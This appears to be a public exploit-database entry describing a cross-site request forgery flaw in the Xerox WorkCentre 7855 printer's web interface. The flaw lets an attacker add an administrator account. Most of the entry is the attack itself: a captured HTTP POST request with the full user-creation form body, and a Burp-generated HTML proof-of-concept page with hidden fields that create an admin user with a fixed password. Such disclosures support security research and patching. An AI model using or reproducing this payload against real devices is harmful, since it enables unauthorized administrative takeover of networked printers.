XEROX WorkCentre 7855 Printer Cross-Site Request Forgery (Add Admin)

2019.12.31
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

# Exploit Title: XEROX WorkCentre 7855 Printer - Cross-Site Request Forgery (Add Admin) # Date: 2018-12-19 # Exploit Author: Ismail Tasdelen # Vendor Homepage: https://www.xerox.com/ # Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-7800-series/ # Software : Xerox Printer # Product Version: WorkCentre® 7855 # Vulernability Type : Cross-Site Request Forgery (Add Admin) # Vulenrability : Cross-Site Request Forgery # CVE : N/A # Description : # The CSRF vulnerability was discovered in the WorkCentre® 7855 printer model of Xerox printer hardware. # A request to add users is made in the Device User Database form field. This request is captured by # the proxy. And a CSRF PoC HTML file is prepared. WorkCentre® 7855 printers allow CSRF. A request # to add users is made in the Device User Database form field to the xerox.set URI. # (The frmUserName value must have a unique name.) HTTP POST Request : POST /dummypost/xerox.set HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 494 Origin: http://server Connection: close Referer: http://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp Cookie: PageToShow=; statusSelected=n1; statusNumNodes=8; PHPSESSID=04dc6361e94c451ff4d7d1d3ef8e32cd; WebTimerPopupID=12; propSelected=n30; propNumNodes=115; propHierarchy=00010000000000000000001000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue Upgrade-Insecure-Requests: 1 CSRFToken=67a23ff66bbdd5a1cdb95afa3a677807d74a5d74e2c1d55c576008e0a0399738b55e54353be4b069a3e68c761350654aa7e27fdcbfb9b43148aa3a1f6e8e5f7b&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1 HTTP Response : HTTP/1.1 200 OK Date: Thu, 19 Dec 2019 05:13:19 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 11947 CSRF HTML PoC : <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://server/dummypost/xerox.set" method="POST"> <input type="hidden" name="CSRFToken" value="67a23ff66bbdd5a1cdb95afa3a677807d74a5d74e2c1d55c576008e0a0399738b55e54353be4b069a3e68c761350654aa7e27fdcbfb9b43148aa3a1f6e8e5f7b" /> <input type="hidden" name="&#95;fun&#95;function" value="HTTP&#95;Set&#95;ccgen&#95;fac&#95;dispatch&#95;fn" /> <input type="hidden" name="NextPage" value="&#47;properties&#47;authentication&#47;UserManager&#46;php&#63;x&#61;&sort&#61;Fname&order&#61;Up" /> <input type="hidden" name="CcgenModule" value="UserEdit" /> <input type="hidden" name="isRoles" value="True" /> <input type="hidden" name="isPassword" value="True" /> <input type="hidden" name="isCreate" value="True" /> <input type="hidden" name="rolesStr" value="2&#44;5&#44;1&#44;" /> <input type="hidden" name="limited" value="False" /> <input type="hidden" name="oid" value="0" /> <input type="hidden" name="userName" value="ismailtasdelen" /> <input type="hidden" name="friendlyName" value="Ismail&#32;Tasdelen" /> <input type="hidden" name="newPassword" value="Test1234" /> <input type="hidden" name="retypePassword" value="Test1234" /> <input type="hidden" name="role" value="2" /> <input type="hidden" name="role" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>


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